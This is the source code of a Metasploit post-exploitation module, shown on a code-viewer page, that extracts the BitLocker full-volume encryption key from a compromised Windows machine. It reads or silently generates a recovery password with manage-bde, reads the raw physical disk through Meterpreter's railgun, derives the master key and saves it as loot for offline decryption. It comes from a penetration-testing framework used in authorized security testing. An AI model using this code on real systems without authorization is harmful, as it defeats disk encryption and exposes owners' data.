Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/bitlocker_fvek.rb
19715 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::Windows::Priv
8
include Msf::Post::Windows::Error
9
include Msf::Post::Windows::FileInfo
10
include Msf::Post::File
11
12
ERROR = Msf::Post::Windows::Error
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Bitlocker Master Key (FVEK) Extraction',
19
'Description' => %q{
20
This module enumerates ways to decrypt Bitlocker volume and if a recovery key is stored locally
21
or can be generated, dump the Bitlocker master key (FVEK)
22
},
23
'License' => MSF_LICENSE,
24
'Platform' => ['win'],
25
'SessionTypes' => ['meterpreter'],
26
'Author' => ['Danil Bazin <danil.bazin[at]hsc.fr>'], # @danilbaz
27
'References' => [
28
['URL', 'https://github.com/libyal/libbde/blob/master/documentation/BitLocker Drive Encryption (BDE) format.asciidoc'],
29
['URL', 'https://web.archive.org/web/20170914195545/http://www.hsc.fr/ressources/outils/dislocker/'],
30
],
31
'Notes' => {
32
'Stability' => [CRASH_SAFE],
33
'SideEffects' => [],
34
'Reliability' => []
35
},
36
'Compat' => {
37
'Meterpreter' => {
38
'Commands' => %w[
39
stdapi_railgun_api
40
stdapi_sys_config_getenv
41
]
42
}
43
}
44
)
45
)
46
47
register_options(
48
[
49
OptString.new('DRIVE_LETTER', [true, 'Dump informations from the DRIVE_LETTER encrypted with Bitlocker', nil]),
50
OptString.new('RECOVERY_KEY', [false, 'Use the recovery key provided to decrypt the Bitlocker master key (FVEK)', nil])
51
]
52
)
53
end
54
55
def run
56
file_path = session.sys.config.getenv('windir') << '\\system32\\win32k.sys'
57
major, minor, _build, _revision, _branch = file_version(file_path)
58
winver = (major.to_s + '.' + minor.to_s).to_f
59
60
fail_with(Failure::NoTarget, 'Module not valid for OS older that Windows 7') if winver <= 6
61
fail_with(Failure::NoAccess, 'You don\'t have administrative privileges') unless is_admin?
62
63
drive_letter = datastore['DRIVE_LETTER']
64
system_root = expand_path('%SYSTEMROOT%')
65
66
cmd_out = cmd_exec('wmic', "logicaldisk #{drive_letter}: ASSOC:list /assocclass:Win32_LogicalDiskToPartition")
67
68
@starting_offset = cmd_out.match(/StartingOffset=(\d+)/)[1].to_i
69
70
drive_number = cmd_out.match(/DiskIndex=(\d+)/)[1]
71
72
r = client.railgun.kernel32.CreateFileW("\\\\.\\PhysicalDrive#{drive_number}",
73
'GENERIC_READ',
74
'FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE',
75
nil,
76
'OPEN_EXISTING',
77
'FILE_FLAG_WRITE_THROUGH',
78
0)
79
80
if r['GetLastError'] != ERROR::SUCCESS
81
fail_with(Failure::Unknown,
82
"Error opening #{drive_letter}. Windows Error Code: #{r['GetLastError']}
83
- #{r['ErrorMessage']}")
84
end
85
86
@handle = r['return']
87
print_good("Successfully opened Disk #{drive_number}")
88
seek(0)
89
90
if !datastore['RECOVERY_KEY'].nil?
91
print_status('Using provided recovery key')
92
recovery_key = datastore['RECOVERY_KEY']
93
else
94
print_status('Trying to gather a recovery key')
95
96
manage_bde = "#{system_root}\\system32\\manage-bde.exe"
97
unless exist?(manage_bde)
98
manage_bde = "#{system_root}\\sysnative\\manage-bde.exe"
99
unless exist?(manage_bde)
100
fail_with(Failure::Unknown, 'manage-bde.exe not found')
101
end
102
end
103
104
cmd_out = cmd_exec(manage_bde, "-protectors -get #{drive_letter}:")
105
106
recovery_key = cmd_out.match(/((\d{6}-){7}\d{6})/)
107
108
if !recovery_key.nil?
109
recovery_key = recovery_key[1]
110
print_good("Recovery key found : #{recovery_key}")
111
else
112
print_status('No recovery key found, trying to generate a new recovery key')
113
cmd_out = cmd_exec(manage_bde,
114
"-protectors -add #{drive_letter}: -RecoveryPassword")
115
recovery_key = cmd_out.match(/((\d{6}-){7}\d{6})/)
116
id_key_tmp = cmd_out.match(/(\{[^}]+\})/)
117
if !recovery_key.nil?
118
recovery_key = recovery_key[1]
119
id_key_tmp = id_key_tmp[1]
120
print_good("Recovery key generated successfully : #{recovery_key}")
121
else
122
print_error('Recovery Key generation failed')
123
print_status('No recovery key can be used')
124
return
125
end
126
end
127
end
128
129
begin
130
@bytes_read = 0
131
fs = Rex::Parser::BITLOCKER.new(self)
132
print_status('The recovery key derivation usually take 20 seconds...')
133
fvek = fs.fvek_from_recovery_password_dislocker(recovery_key)
134
if !fvek.blank?
135
stored_path = store_loot('windows.file', 'application/octet-stream',
136
session, fvek)
137
print_good("Successfully extracted FVEK in #{stored_path}")
138
print_good('This hard drive could later be decrypted using : dislocker -k <key_file> ...')
139
else
140
print_error('Failed to generate FVEK, wrong recovery key?')
141
end
142
ensure
143
unless id_key_tmp.nil?
144
print_status('Deleting temporary recovery key')
145
cmd_exec(manage_bde,
146
"-protectors -delete #{drive_letter}: -id #{id_key_tmp}")
147
end
148
client.railgun.kernel32.CloseHandle(@handle)
149
end
150
print_status('Post Successful')
151
end
152
153
def read(size)
154
client.railgun.kernel32.ReadFile(@handle, size, size, 4, nil)['lpBuffer']
155
end
156
157
def seek(offset)
158
offset += @starting_offset
159
high_offset = offset >> 32
160
low_offset = offset & (2**33 - 1)
161
client.railgun.kernel32.SetFilePointer(@handle, low_offset, high_offset, 0)
162
end
163
end
164
165